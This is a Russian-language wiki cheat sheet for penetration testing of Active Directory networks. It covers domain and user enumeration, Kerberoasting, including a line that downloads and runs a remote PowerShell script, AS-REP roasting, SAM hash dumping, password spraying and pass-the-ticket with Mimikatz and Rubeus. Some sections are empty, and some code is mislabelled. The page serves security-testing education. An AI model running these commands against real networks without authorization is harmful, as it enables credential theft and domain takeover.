Active directory
Страница посвящена тестированию на проникновение сетей Active Directory на Windows OS.
Содержание
- 1 Общая информация о сети
- 2 Дополнительная информация о сети
- 3 Получение начального доступа
- 4 Сбор информации о пользователе
- 5 Автоматизированный поиск уязвимостей
- 6 Атаки
Общая информация о сети
Домен
PC в домене
cmd.exe
systeminfo | findstr /B /C:"Domain"
echo %userdomain%
wmic computersystem get domain
powershell
import-module activedirectory
Get-ADDomain
# current domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# domain trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
Удаленно
nmap
У доменного контроллера будут как правило открыты порты: 53/tcp (dns), 389/tcp (ldap), 88/udp (kerberos), 135/tcp.
После того, как nmap найдет доменный контроллер он еще автоматом с аргументом -sV определит домен.
Поэтому для поиска можно просканнировать сеть на данные порты
nmap -p 53,389,135 <network/24> -v -sV
ldapsearch
Если мы нашли сервис LDAP, но по каким то причинам nmap не определил домен, то можно попытаться подключиться и самим определить.
ldapsearch -x -h 10.10.10.175 -s base namingcontexts
Forest Domains
Домены могут между собой обьединены в "леса" и их тоже можно узнать.
PC в домене
PowerShell
import-module activedirectory
Get-ADForest
# current forest info
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
# get forest trust relationships
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()
cmd.exe
Доменный контроллер
nslookup
set type=all
_ldap._tcp.dc._msdcs.DOMAIN_NAME
nslookup -type=srv _kerberos._tcp.EXMAPLE.COM
nslookup -type=srv _kerberos._udp.EXMAPLE.COM
nslookup -type=srv _kpasswd._tcp.EXAMPLE.COM
nslookup -type=srv _kpasswd._udp.EXAMPLE.COM
nslookup -type=srv _ldap._tcp.EXAMPLE.COM
nslookup -type=srv _ldap._tcp.dc._msdcs.EXAMPLE.COM
nslookup -type=srv _ldap._tcp.pdc._msdcs.EXAMPLE.COM
# Если запросы идут к FOREST-домену
nslookup -type=srv _ldap._tcp.gc._msdcs.%DNSFORESTNAME%.
nslookup -type=srv _gc._tcp.%DNSFORESTNAME%.
nslookup -type=any %userdnsdomain%.
nltest
nltest /dclist:domainname
Powershell ActiveDirectory
Import-Module ActiveDirectory
(Get-ADDomainController -DomainName <Domain FQDN> -Discover -NextClosestSite).HostName
Powershell Resolve-DnsName
Resolve-DnsName -Name _ldap._tcp.dc._msdcs.<YOU_DOMAIN> -Type SRV
gpresult
Мало инфы
gpresult
Много инфы
gpresult /z
or
gpresult /Z
nmap
СМ. выше поиск домена используя nmap.
Доменные компьютеры
PC в домене
Powershell Get-ADComputer
import activedirectory
Get-ADComputer -Filter * -Properties IPv4Address
netdom.exe
netdom member
netdom /d:<domain name> \[/u:<domain>\<user to which query> /p:<password\] member
net.exe
net view /domain:savtech
Powershell adsisearcher
$AD = [adsisearcher]"objectcategory=computer"
$Computers = $AD.FindAll()
$Computers.Properties.Name
Удаленно
ldapsearch
ldapsearch -LLL -H ldap://ad.ourdomain.local -x -D 'OURDOMAIN\user' -w 'thepassword' -b 'dc=ourdomain,dc=local' 'objectClass=computer' name
windapsearch
https://github.com/ropnop/windapsearch
windapsearch -C ...
Дополнительная информация о сети
Список пользователей
Без перебора
crackmapexec
crackmapexec smb <ip> -u <user> -p <password> --users
powershell
Get-ADUser -Filter 'Name -like "*SvcAccount"' | Format-Table Name,SamAccountName -A
Impacket-GetADUsers
python3 GetADUsers.py -all test.local/john:password123 -dc-ip 10.10.10.1
windapsearch
windapsearch --users ...
ldapsearch
ldapsearch -xLLL -h domain.org -D "domain\\user" -W -b "DC=domain,DC=org" -s sub "(objectclass=user)" sAMAccountName
С перебором
nmap
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <dc_ip>
enum4linux
enum4linux -U <dc-ip> | grep 'user:'
Время сети
Вариантов много, но не все работают.
NTP
sudo service ntp stop
sudo ntpdate -s time.nist.gov
sudo service ntp start
root@kali:~# rdate -n 10.10.10.248
Sun Oct 17 19:41:14 EDT 2021
date --set 1998-11-02
date --set 21:08:00
Вариант 2 - если время откатывается обратно.
service ntpd stop
update-rc.d -f ntpd remove
nano /etc/ntp.conf
while true; do date --set 19:46:08 > /dev/null; done;
sudo apt-get install chrony
sudo timedatectl set-ntp true
sudo ntpdate <machine IP>
Отключить VirtualBox автоматическую установку времени
VBoxManage setextradata "VM name" "VBoxInternal/Devices/VMMDev/0/Config/GetHostTimeDisabled" 1
HTTP
Можно использовать вместе с прокси
proxychains htpdate 172.16.249.204 -s
Сетевая информация
IP
powershell
Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*
$domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
$domain | ForEach-Object {$_.DomainControllers} |
ForEach-Object {
$hostEntry= [System.Net.Dns]::GetHostByName($_.Name)
New-Object -TypeName PSObject -Property @{
Name = $_.Name
IPAddress = $hostEntry.AddressList[0].IPAddressToString
}
} | Select Name, IPAddress
Get-WinEvent -Computer (computer name) -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | select @{N='User';E={$_.Properties[1].Value}}
В CSV:
$domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
$domain | ForEach-Object {$_.DomainControllers} |
ForEach-Object {
$hostEntry= [System.Net.Dns]::GetHostByName($_.Name)
New-Object -TypeName PSObject -Property @{
Name = $_.Name
IPAddress = $hostEntry.AddressList[0].IPAddressToString
}
} | Export-CSV "C:\DomainControllers.csv" -NoTypeInformation -Encoding UTF8
Сервисы
Получение начального доступа
Анонимный доступ
Для проверки анонимного доступа можно воспользоваться одним из следующих протоколов.
LDAP
windapsearch
Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*
nmap
sudo nmap x.x.X.x -Pn -sV
# 636/tcp open ssl/ldap (Anonymous bind OK)
SMB
smbmap
python smbmap.py -H 192.168.0.1
smbclient
smbclient –L 192.168.1.108
nmap
sudo nmap -sU -sS --script smb-enum-shares.nse -p U:137,T:139 <host>
MSRPC
rpcclient
rpcclient -U '' -N 10.10.10.1
Учетные данные
Сетевой перебор учетных данных (пароля)
Перебор учетных данных по протоколам лучше смотреть тут http://itsecwiki.org/index.php/Brute_force
Стоит заметить, что лучше всего использовать технику Password Spraying тк по-умолчанию аккаунты блокируются от большого количества попыток ввода пароля. Максимум лучше по 3-5 паролей на аккаунт.
Протоколы: SMB, OWA, smtp, skype,...
Оффлайн перебор
NTLM
Если у вас есть NTLM-хеш пароля пользователя, то его можно отправить на перебор.
http://itsecwiki.org/index.php/Offline_bruteforce - тут подробнее о переборе NTLM
Также хеш не обязательно перебирать, его можно будет использовать в следующих этапах при атаке Pass The Hash (когда вместо пароля пользователя отправляется его NTLM-хеш).
TGS
Если у вас есть TGS-ticket для доступа к сервису, то вы можете пробрутить пароль учетки от которой будет идти запрос.
На странице http://itsecwiki.org/index.php/Offline_bruteforce вы можете найти команды для перебора паролей.
Kerberoasting
Это метод получения TGS. После его получения перейдите в пункт выше - перебор пароля в TGS. Как правилоm его делают когда уже авторизовались в домене, но может иногда сработать при анонимном доступе. Для этого нам потребуется найти доступные SPN
Поиск SPN
Windows в домене
cmd.exe
setspn -T TestDomain -Q */*
Пример SPN учетки MSSQLSERVER
MSSQLSERVER/SQL-Server.testdomain.com:1433
Powershell
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$results = $search.Findall()
foreach($result in $results)
{
$userEntry = $result.GetDirectoryEntry()
Write-host "User : " $userEntry.name "(" $userEntry.distinguishedName ")"
Write-host "SPNs"
foreach($SPN in $userEntry.servicePrincipalName)
{
$SPN
}
Write-host ""
}
Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>
Удаленно
Windapsearch
https://github.com/ropnop/windapsearch
https://github.com/ropnop/go-windapsearch
Параметр "user-spns".
Impacket GetUserSPNs
https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py
python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>
Получение TGS
Сложные варианты
TODO
Без SPNS https://swarm.ptsecurity.com/kerberoasting-without-spns/
ASP-REP roasting
Если у Kerberos отключена предварительная аутентификация, то сервер вернет ASP-REP, зашифрованная часть которого подписана клиентским ключем на кого он выписан.
Получить хеш
Rubeus
Rubeus.exe aspreproast
GetNPUsers.py
GetNPUsers.py CONTOSO.COM/Administrator:'P@ssw0rd' -request
Для информации о переборе хеша перейдите на страницу http://itsecwiki.org/index.php/Offline_bruteforce#ASP-REP
SAM & SYSTEM
Если вы каким то образом получили SAM, SYSTEM-файлы, то вы можете извлечь из них NTLM-пароли пользователей.
Но для того, чтобы получить NTLM-хеш, вам потребуется и SAM и SYSTEM.
Получение хешей
samdump2
samdump2 -d ./SAM ./SYSTEM
После чего следуйте инструкциям в пункте про NTLM.
TGT-билет
Как Cookie у браузера, он требуется для получения TGS который в свою очередь используется для подключения к сервисам. Если вы нашли файл с TGT-ключем, то у него есть два формата: kirbi & ccache, поэтому надо сконвертировать.
Конвертация
https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketConverter.py
./ticket_converter.py admin.ccache admin.kirbi
./ticket_converter.py admin.kirbi admin.ccache
Импорт тикета
!Не забудьте установить время то же, пункт выше!
.ccache
Rubeus
.\Rubeus.exe ppt /ticket:new_ticket.ccache
Mimikatz
mimikatz # kerberos::ptt new_ticket.ccache
Bash
export KRB5CCNAME=./test.ccache
Сбор информации о пользователе
SID
Получиь SID пользователя, часто нужно для запросов/эксплуатации.
Доступ к ПК
cmd.exe
wmic useraccount get name,sid
powershell
Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502
Группы
С доступом к ПК
Powershell
Get-ADPrincipalGroupMembership username | select name
Import-Module ActiveDirectory
(Get-ADUser userName –Properties MemberOf | Select-Object MemberOf).MemberOf
(Get-ADUser userName –Properties MemberOf).MemberOf
(New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(samAccountName=$($env:username)))")).FindOne().GetDirectoryEntry().memberOf
cmd.exe
net user /domain username
Удаленно
Windapsearch
https://github.com/ropnop/windapsearch
windapsearch -G ...
Ldapsearch
ldapsearch -x -H "ldap://openldap" -D "CN=UserName,CN=Users,DC=YOURDOMAIN,DC=NET" -w admin '(member:1.2.840.113556.1.4.1941)'
ldapsearch -LLL -x -h DC-THESHIP.PLANETEXPRESS.LOCAL -p 389 -D 'PLANETEXPRESS\SService' -w 'L1feD3@thSeamlessContinuum' -b 'DC=PLANETEXPRESS,DC=LOCAL' "(member=1.2.840.113556.1.4.1941)" dn
Правила
Доступ к ПК
Powershell
string currentuser = Environment.UserName;
string currentmachine = Environment.MachineName;
if (DirectoryEntry.Exists(string.Format("WinNT://{0}/{1}", currentmachine, currentuser)))
{
Console.WriteLine("it's working\n");
Roles.Enabled = true;
Console.WriteLine(Roles.GetRolesForUser(currentuser));
}
else
{
Console.WriteLine("it's not working");
}
Удаленно
Политики
Автоматизированный поиск уязвимостей
BloodHound
PingCastle
Повышение привилегий
Горизонтальные
Вертикальные
Атаки
Некорректная настройка привилегий
Другое
MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
1. Получиь SID пользователя
При доступе к ПК пользователя
cmd.exe
wmic useraccount get name,sid
powershell
Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502